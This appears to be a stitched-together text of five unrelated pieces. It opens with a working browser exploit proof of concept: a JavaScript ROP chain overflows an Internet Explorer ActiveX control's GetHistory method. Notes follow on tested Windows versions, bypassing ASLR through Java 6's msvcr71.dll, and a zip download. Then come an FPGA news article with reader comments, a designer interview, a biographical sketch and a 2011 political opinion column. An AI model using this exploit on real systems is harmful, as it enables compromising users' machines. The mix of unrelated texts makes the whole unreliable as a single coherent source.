<OBJECT classid="clsid:C1908682-7B2C-4AB0-B98E-183649A0BF84" id="poc"> </OBJECT> <SCRIPT language="JavaScript"> var buffer = ""; for (i = 0; i < 215; i++) buffer += unescape("%41") buffer += unescape("%23%62%37%7c") // 0x7c376223 POP EAX # RETN buffer += unescape("%42%42%42%42") // compensate buffer += unescape("%42%42%42%42") // compensate buffer += unescape("%08%08%08%08") // fill return address buffer += unescape("%a9%13%34%7c") // XCHG EAX,ESP # MOV EAX,DWORD // PTR DS:[EAX] #PUSH EAX #RETN buffer += unescape("%24%62%37%7c") // 0x7c376224 RETN for (i = 0; i < 20; i++) buffer += unescape("%43") poc.GetHistory(buffer); </SCRIPT>
This exploit has been tested and works 100% on Windows XP SP3 IE 6/7/8 and Windows 7 SP1 IE 8/9. I have included the vulnerable library, registry files to remove/add killbits and the exploit in a zip file that can be downloaded from here. The zip file has a md5 hash of d219582269ee0845f8747d0b64910f71 and the password for the zip file is "answerworks" without quotes. If you find when testing the exploit Windows Calculator fails to load then check if msvcr71.dll library is loaded in IE's process space as I had noticed on one of my test machines that it does not load up.
This heap spraying code should work well for exploiting buffer overflows but exploiting virtual function calls is something I'll need to look into and on my to-learn-list. On Windows 7 the only real dependency lies in having Java 6 installed as the library msvcr71.dll which comes with Java 6 is not ASLRed or gets rebased. If Java 7 is installed then another rop chain would need to be used as Java 7 libraries are all ASLRed. Windows XP is not subject to ALSR so another rop chain could be used if Java 6 is not installed.


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FPGA news roundup: Microsoft "Catapult", Intel's hybrid and Xilinx OpenCL
by Rahul Garg on June 21, 2014 10:30 AM ESTThere has been some activity in the FPGA realm lately. First, Microsoft has published a paper at ISCA (a very well-known peer-reviewed computer architecture conference) about using FPGAs in datacenters for page ranking processing for Bing. In a test deployment, MS reported up to 95% more throughput for only 10% more power. The added total cost of ownership (TCO) was less than 30%. Microsoft used Altera Stratix V FPGAs in a PCIe form-factor with 8GB of DDR3 RAM on each board. The FPGAs were connected with each other in a 6x8 torus configuration using a 10Gb SAS network. Microsoft mentioned that it programmed the FPGAs in Verilog and that this hand-coding was one of the challenging aspects of the work. However, Microsoft believes using high-level tools such as Scala (presumably a domain-specific subset), OpenCL or "C-to-gates" tools such as AutoESL or ImpulseC might also be suitable for such jobs in the future. Microsoft appears to be pretty happy with the results overall and hopes to deploy the system in production in 2015.
Intel revealed plans to manufacture a CPU-FPGA hybrid chip that combines Intel's traditional Xeon-line CPU cores with FPGAs on a single chip. The FPGA and CPU will have coherent access to memory. The exact details of the chip, such as number of CPU cores or the amount of logic and other resources of the FPGA, or even who is the source for the FPGAs (likely Altera), is not revealed. However, we do know that the chip will be package compatible with the existing Xeon E5 line. Intel mentions that FPGAs can deliver "up to 10x" the performance on unspecified industry benchmarks. Intel further claims its implementation will deliver another 2x improvement (so 20x total) because of coherency and lower CPU-FPGA latency. We will have to wait for more information about this product to validate any of Intel's claims. It will also be interesting what software and development tools Intel provides for this chip.
Finally, you may remember our previous coverage of OpenCL on Altera's FPGAs and we had mentioned that Xilinx had some plans for OpenCL as well. Recently (~2 months ago) Xilinx updated its Vivado design suite and now includes "early access" support for OpenCL.
Overall, these announcements point to increased adoption of FPGAs in mainstream applications. Datacenters are very focused on performance per watt as they tend to be power limited, with increasing performance needs. Progress on scaling performance through multicore CPUs has slowed, and relying on GPUs to increase overall performance per watt has an upper bound as well. In a power constrained environment where two different types of general purpose processors are limited by progress on the process node side, we need to find another option to continue to scale performance. In an ideal world, one may design application-specific integrated circuits (ASICs) to get the highest performance/watt, but ASICs are hard to design and once deployed cannot be changed. This solution is not a good fit for datacenter applications, where the workload (such as algorithms for search) are tweaked and changed over time. FPGAs can offer a happy medium between CPUs and ASICs in that they offer programmable and reconfigurable hardware and can still offer a performance/watt advantage over CPUs because they effectively customize themselves to the algorithm. Making FPGAs accessible to more mainstream application programmers (i.e. those who are used to writing C, C++, Java etc. and not Verilog) will be one of the problems and tools such as OpenCL (and more) are gaining steam in this space.
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ratbert1 - Saturday, June 21, 2014 - link
When using acronyms it is common to expand it on the first usage. I find it amusing that TCO and ASICs are expanded, but field programmable gate array (FPGA) is nowhere in the article. I had no idea what it was. Not just you Rahul. This happens a lot on this site. -
blowfish - Saturday, June 21, 2014 - link
Very well said, ratbert1, +1 on that! -
Stochastic - Saturday, June 21, 2014 - link
I feel that Anandtech writers (not Anand so much--he's better about this) often assume that their readers have a lot of background knowledge. As someone who didn't major in engineering or computer science in college, a lot of this stuff is new to me. Of course with Google and Wikipedia it doesn't take long to educate myself, but it becomes tedious to do this with almost every article I read. Anandtech is special in that it's not afraid to get into the gory details that more mainstream tech sites ignore, but this often comes at the cost of accessibility. -
dac7nco - Sunday, June 22, 2014 - link
You should try reading David Kanter @ Real World Technologies. Eeesh. -
bobbyh - Sunday, June 22, 2014 - link
Being an engineering student I feel like they do not go into as much detail as i remember. That could have just been when I knew less though. -
ZeDestructor - Sunday, June 22, 2014 - link
I dunno...
I've been pretty happy with RWT's coverage and depth. Kanter does however seem to assume that you can implement most of the blocks in use there, as well as apply the more basic/common optimization techniques in use. Thus he focuses more on how everything plugs together to make things faster and reduce power usage. -
nofumble62 - Sunday, June 22, 2014 - link
You can try to down load the Microsoft paper and read by yourself. -
ivanc - Tuesday, June 24, 2014 - link
I couldn't agree more.
Please go to a less technical site if you need more background, or do your own research.
I do not want to see AnandTech become more like Ars Technica. -
modododo - Saturday, June 21, 2014 - link
What's MS, ISCA, PCIe, GB, Gb, SAS, CPU, GPU, DDR, RAM, CL in OpenCL and ESL in AutoESL? -
GiantPandaMan - Saturday, June 21, 2014 - link
Given that this is the web, it would be nice if the site had a mouseover definition system in place for desktop users.
It never ceases to amaze me that even the most technical sites don't use the power of the web to make reading and understanding things easier. Tech timelines with links to articles. Mouseover glossaries. Button in a corner somewhere to play the latest podcasts while reading. etc.


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Designer Payal Khandwala, who launched her self-titled fashion label in 2012, will open her first store on Thursday, October 16. The 1,600 square foot place in Colaba's art gallery-filled Grants Building is split into a store and a studio where Khandwala and her team will work and where she will paint. While she's now more famous as a fashion designer who makes voluminous clothes in bold colours, forty-year-old Khandwala began her career as an artist. We interviewed the designer over email about her transition from art to fashion, her new store and how she likes to wear a sari and white shirt. Edited excerpts:
Why did you move from art to fashion?
I think the seeds had been sown a long time ago. My mum used to sew my clothes and my grandmother hers, plus both painted very well but were never trained in either. Also, I studied fashion at SNDT (University) many years ago, before I jumped ship to art with a Bachelor in Fine Arts and Illustration from the Parsons School for Design, New York. And then just overnight an opportunity arose to show at Lakme Fashion Week in 2012. I agreed and it grew from there!
There are a lot of rich colours in your collection but no prints. Will we see something new at the store?
Yes, we've worked on and developed prints, a first for the label. We kept them very simple, geometric and dramatic – an extension of the house aesthetic and easy to team with our signature separates. We also have a line of limited edition clothes, our classic shapes but in rich hand-woven silks and brocades, which we will stock only at the store.
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Henderson, Isabelle Bowen
By Lodwick Hartley, 1988
23 Mar. 1899–19 May 1969
Isabelle Bowen Henderson, portraitist and floriculturist, was born in Wilmington, the daughter of Arthur Finn Bowen, who was for many years business manager of North Carolina State College, and Isabelle Woodward Bowen, of an old Wilmington family. After attending the Raleigh public schools, she entered Peace College in 1917 and was graduated in 1919. She taught art at the Centennial School in Raleigh from 1919 to 1921; at College Hill School, Easton, Pa., from 1922 to 1924; and at various times prior to 1930 in summer sessions at North Carolina State and at Wake Forest College. In 1921–23 she continued to study art during the summer at Columbia University and at the School of Fine and Applied Arts (now Parsons School) in New York City. In 1924–25 she was a student at the Pennsylvania Academy of Art in Philadelphia.
She began her career as a professional portraitist in Raleigh in the late 1920s. After her marriage to Professor Edgar H. Henderson in 1932, she moved to Williamstown, Mass., where her husband was a member of the faculty of Williams College. On returning to Raleigh in 1936, she opened a studio and became widely known in the eastern part of the state especially for her crayon portraits of children. In the 1940s she continued painting in Raleigh and in Gainesville, Fla., where her husband had joined the faculty of the University of Florida. In addition to her crayon portraits for many leading North Carolina families, she was commissioned to do oil portraits of such prominent figures as President Frank Porter Graham of The University of North Carolina, President Wallace Carl Riddick of North Carolina State College, Supreme Court Justice Beverly Lake, and Dr. Charles Carroll of the North Carolina Department of Public Instruction.
Mrs. Henderson's garden early became famous both in the area and beyond for its collection of iris and hemerocallis, for the hybridization of which she received the highest award of the National Society of State Garden Clubs in 1951 and recognition from the National Horticulture Society. She was active in the Raleigh Garden Club as well as a popular lecturer in garden clubs throughout the region. She was also an important and forceful member of the North Carolina Art Society and was one of the moving spirits in the establishment and development of the North Carolina Art Museum. Mrs. Henderson was mainly responsible for the museum's excellent collection of Jugtown pottery.
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Raleigh News and Observer, 7 July 1957, 20 May 1969
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By Eric Walberg – Cairo
American voters now have a clear view of who they can vote for next year, with Barack Obama as the Democrats' certain candidate and Mitt Romney as the Republicans'. Both candidates offer much the same prescriptions for the multiple crises facing their country — more war and military spending, lower taxes (certainly no big hike for the rich), more bank bailouts, trickle-down economics for the unemployed and the disintegrating environment.
If Barack and Mitt are the best the political elite can come up with, we can only conclude that the entire American ruling class is suffering from acute paranoid schizophrenia — fearing commies-turned-Muslims under their beds, shedding tears over the odd child hit by a stray bullet in, say, Syria, while joyously bombing hapless Afghans, Iraqs and Libyans into the Stone Age, wiping out hundreds of thousands in the process.
Obama said Saturday that the US now must tackle its "greatest challenge as a nation" — rebuilding a weak economy and creating jobs — with the "same urgency and unity that our troops brought to their fight". More like: with the "same cold-blooded disrespect for human life …" Is it possible Obama will promote a Swift-like "modest proposal" to unemployment, and exhort Americans to eat their children?
Despite overwhelming evidence that the chaos and destruction the US brings the world has induced only hate and disgust for America and its values, he preened himself for helping murder Gaddafi and for pretending to withdraw US troops from Iraq: "This week, we had two powerful reminders of how we've renewed American leadership in the world."
Of course, there is an explanation for this raving. The chaos is caused by the logic of profit in the economy, and the rhetoric — by the need to control the political process to ensure profit's uninterrupted flow. But Obama's fine rhetoric is not even convincing Americans anymore, as Occupy Wall Street and demonstrations across the country show. As for Congress; just 6 per cent of registered voters think sitting members deserve re-election — the lowest percentage since CBS News Polls began 20 years ago.
What is the poor — literally, at this point — voter to do? There are stirrings, even in the ruling class. Warren Buffett is spreading a chain letter calling on citizens to demand "a constitutional amendment which would make all sitting members of Congress ineligible for re-election anytime there is a deficit of more than 3 per cent of GDP." If only it were that simple.
As analyst William Cook puts it, "Representatives no longer serve the citizen seeking their consent to govern, they are servants of the corporations and lobbies that control the economic system. Presidents no longer lead, they are the obedient lackeys of their corporate overseers." If Buffett's amendment passed, it would merely bring in another crop of time-servers, with no noticeable effect except higher unemployment and more poverty.
Oblivious to the obvious, Libertarian Ron Paul is battling it out with the Mitts in Republican cuckoo-land to slash both the budget deficit and taxes. At least Paul wants less war. He is determined to end what he calls the "welfare-warfare state", undeterred by the plight of the record 46 million Americans on food stamps (whose welfare expenditures are a crucial stimulus to local economies), and the fact that his very own campaign manager in 2008 died of pneumonia in 2011 from lack of medical insurance.
Then there is the perennial Ralph Nader, who is bowing out from a full-scale campaign so far, and working with left Democrats to field primary challengers to Obama in the desperate hope to move him to the left.
What about a third-party/ independent presidential campaign? The Green Party always fields someone, and Nader ran many times in the past as both the Green candidate and as an independent. There is a new such campaign this year — an Internet campaign called Americans Elect, intending to nominate "a competitive, nonpartisan ticket" that "answers directly to voters". A Republican must team up with a Democrat. Give me a break.
It is impossible for such a dark horse to actually win, given the Republicrat control of the media and corporate financing of elections. However, American third-partiers, or rather non-partiers, have a venerable history in the US. Theodore Roosevelt (Progressive Bull Moose) captured 27 per cent of the vote in 1912, and Progressive Robert La Follette — 27 per cent in 1924. Billionaire Ross Perot created his own Reform Party, running on a confusing mix of balanced budget, war on drugs, gun control, trade protectionism and environmentalism, to gain almost 20 per cent of the vote in 1992.
If, say, the Green candidate miraculously takes off, s/he will at best be a spoiler, like Republican Party-pooper Roosevelt in 1912 (allowing Democrat Woodrow Wilson to win), Ross Perot in 1992 (allowing Democrat Bill Clinton to win) and possibly Nader in 2000, whose 2.74 per cent of the vote might have been the cause of Al Gore's loss to George W Bush.
Whichever Republicrat takes over in January 2013 will continue the failed policies of yesteryear as the US people continue to sink into poverty. But the end is already in sight, as the American long spring continues to gain momentum, both on the ground and in the ether. Ipads can distract from reality, but they are also a powerful tool to fight it, as Egyptians found out this January.
The bottom line is, of course, to dismantle the "reality of corporate control", as Cook puts it. He rightly argues that "the rights of citizens to life, liberty and the pursuit of happiness require the government to ensure these rights", which means universal health care, freedom from want; in short, a government that serves the people, not the corporations. While this may sound trite, it is the stark truth. "Rights before privilege."
There is strong US precedent for this. In 1944, shortly before he died, president Franklin Roosevelt presented Congress with a new Bill of Rights, which included "the right to adequate protection from the economic fears of old age, sickness, accident, and unemployment", as well as farmers' and businessmen's rights "to trade in an atmosphere of freedom from unfair competition by monopolies". Of course, Congress being Congress, it dismissed out of hand this parting gift of FDR.
Another stark truth is that real change in America requires the defeat of America in its imperial wars. This uniquely happened in 1975, when the last helicopters carried panicked remnants of the US puppet regime in Saigon to safety. It resulted in a shift towards détente, exposure of CIA black-ops, limits on US promotion of regime-change and assassination, and on the presidential right to launch undeclared war. Alas, this reversal was short-lived. Memories are short. Rhetoric (then, it was the folksy Reagan) and the ease of spinning circles around do-nothing Congress (a truly worthy whipping boy) have brought us to the current impasse.
Obama's attempts to paint Afghanistan, Iraq and Libya as triumphs of "American leadership" ring hollow as the economy continues to sink under the weight of its military might. In 1944, America was on top of the world, and FDR's wistful reminder of the dark 1930s was easily brushed aside. His vice president from 1941-44, Henry Wallace, ran as a Progressive Party candidate in 1948 largely on FDR's wish list, but his third-party campaign of racial equality and socialism was greeted by boycotts and rotten eggs, and netted him only 2.4 per cent of the vote. America's long journey into the imperial wilderness had begun in earnest.
To resuscitate FDR's dashed dreams today means acknowledging, even welcoming, defeat in Iraq and Afghanistan, as their peoples throw off their American shackles. Any thought that Libya will save the Yanks' bacon is a pipedream. The smoke of civil war there will remain in the air for a long time to come, as a constant reminder of the follies of such imperial games.
The American pacifist Gene Sharp, author of Waging Nonviolent Struggle: 20th Century Practice and 21st Century Potential (2005), is credited with ushering in the so-called Coloured Revolutions in countries as disparate as Yugoslavia and Egypt during the past two decades. Ahmed Maher, one of the founders of the April 6 Youth Movement that sparked the Egyptian revolution, was inspired by Sharp, and is returning the favour by advising "our brothers", the Occupy Wall Streeters, on Twitter. It is a nice touch that Sharp's techniques for facing down police states (Congress be damned) are now being turned on the American police state itself, as the "99 per cent" of Americans try to pick up where FDR's Bill of Rights left off.
– Eric Walberg writes for Al-Ahram Weekly – http://weekly.ahram.org.eg. His Postmodern Imperialism: Geopolitics and the Great Games is available at www.claritypress.com/Walberg.html. He contributed this article to PalestineChronicle.com. Visit: http://ericwalberg.com.